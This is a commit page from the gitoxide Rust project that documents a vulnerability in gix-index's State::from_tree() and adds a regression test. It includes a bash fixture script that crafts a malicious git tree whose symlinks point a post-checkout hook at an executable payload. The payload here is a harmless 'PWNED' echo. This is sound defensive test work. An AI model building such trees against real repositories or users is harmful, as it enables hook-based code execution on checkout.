Skip to content

Commit f3cc6b9

Browse files
codexByron
andcommitted
document vulnerability of State::from_tree()
This is currently not easily exploitable as anything that interacts with the worktree goes through a symlink check, which catches this issue naturally. The plan is to get closer to how Git keeps the sort order, which detects such issues more naturally. Co-authored-by: Sebastian Thiel <sebastian.thiel@icloud.com>
1 parent 05f36c4 commit f3cc6b9

4 files changed

Lines changed: 66 additions & 0 deletions

File tree

gix-index/src/init.rs

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -44,10 +44,21 @@ pub mod from_tree {
4444
end_of_index_at_decode_time: false,
4545
}
4646
}
47+
4748
/// Create an index [`State`] by traversing `tree` recursively, accessing sub-trees
4849
/// with `objects`.
4950
/// `validate` is used to determine which validations to perform on every path component we see.
5051
///
52+
/// # Security
53+
///
54+
/// This currently trusts tree shape beyond individual path-component validation, and is exploitable with
55+
/// malicious trees that contain file/directory conflicts like `a` and `a/x`. Such trees can produce an
56+
/// index [`State`] with inconsistent paths, which may panic or confuse downstream checkout/index consumers.
57+
///
58+
/// A previous normalization pass tried to remove these conflicts after traversal, but only checked adjacent
59+
/// entries. That was incomplete because [`Entry::cmp_filepaths()`] can order unrelated paths between a file
60+
/// and its conflicting child, for example `a`, `a.`, `a/x`.
61+
///
5162
/// **No extension data is currently produced**.
5263
pub fn from_tree<Find>(
5364
tree: &gix_hash::oid,
Binary file not shown.
Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
#!/usr/bin/env bash
2+
set -eu -o pipefail
3+
4+
git init -q --initial-branch=main
5+
6+
payload_blob=$(printf '#!/bin/sh\n\necho "PWNED: post-checkout" >&2\n' | git hash-object -w --stdin)
7+
target_dir_blob=$(echo -n .git/hooks | git hash-object -w --stdin)
8+
target_file_blob=$(echo -n ../../payload | git hash-object -w --stdin)
9+
10+
subtree=$(printf '120000 blob %s\tpost-checkout\n' "$target_file_blob" | git mktree)
11+
12+
hex2bin() {
13+
perl -e 'print pack("H*", $ARGV[0])' "$1"
14+
}
15+
16+
root_tree() {
17+
printf '120000 a\0'
18+
hex2bin "$target_dir_blob"
19+
20+
printf '40000 a\0'
21+
hex2bin "$subtree"
22+
23+
printf '100755 payload\0'
24+
hex2bin "$payload_blob"
25+
}
26+
27+
root_tree=$(root_tree | git hash-object --literally -t tree -w --stdin)
28+
commit=$(git commit-tree "$root_tree" -m 'Initial commit')
29+
git update-ref refs/heads/main "$commit"
30+
git symbolic-ref HEAD refs/heads/main
31+
git rev-parse @^{tree} > head.tree

gix-index/tests/index/init.rs

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -52,6 +52,30 @@ fn from_tree_validation() -> crate::Result {
5252
Ok(())
5353
}
5454

55+
#[test]
56+
fn from_tree_returns_file_directory_conflicts_until_fixed() -> crate::Result {
57+
let worktree_dir = scripted_fixture_read_only_standalone("make_symlink_prefix_reuse_advisory.sh")?;
58+
let tree_id = tree_id(&worktree_dir);
59+
let odb = gix_odb::at(worktree_dir.join(".git").join("objects"))?;
60+
61+
let actual_state = State::from_tree(&tree_id, &odb, Default::default())?;
62+
actual_state
63+
.verify_entries()
64+
.expect("valid, even though invariants aren't met");
65+
66+
let paths: Vec<_> = actual_state
67+
.entries()
68+
.iter()
69+
.map(|entry| entry.path(&actual_state).to_owned())
70+
.collect();
71+
assert_eq!(
72+
paths,
73+
["a", "a/post-checkout", "payload"],
74+
"from_tree currently returns malformed file/directory conflicts; update this expected unfixed state once fixed"
75+
);
76+
Ok(())
77+
}
78+
5579
#[test]
5680
fn new() {
5781
let state = State::new(gix_hash::Kind::Sha1);

0 commit comments

Comments
 (0)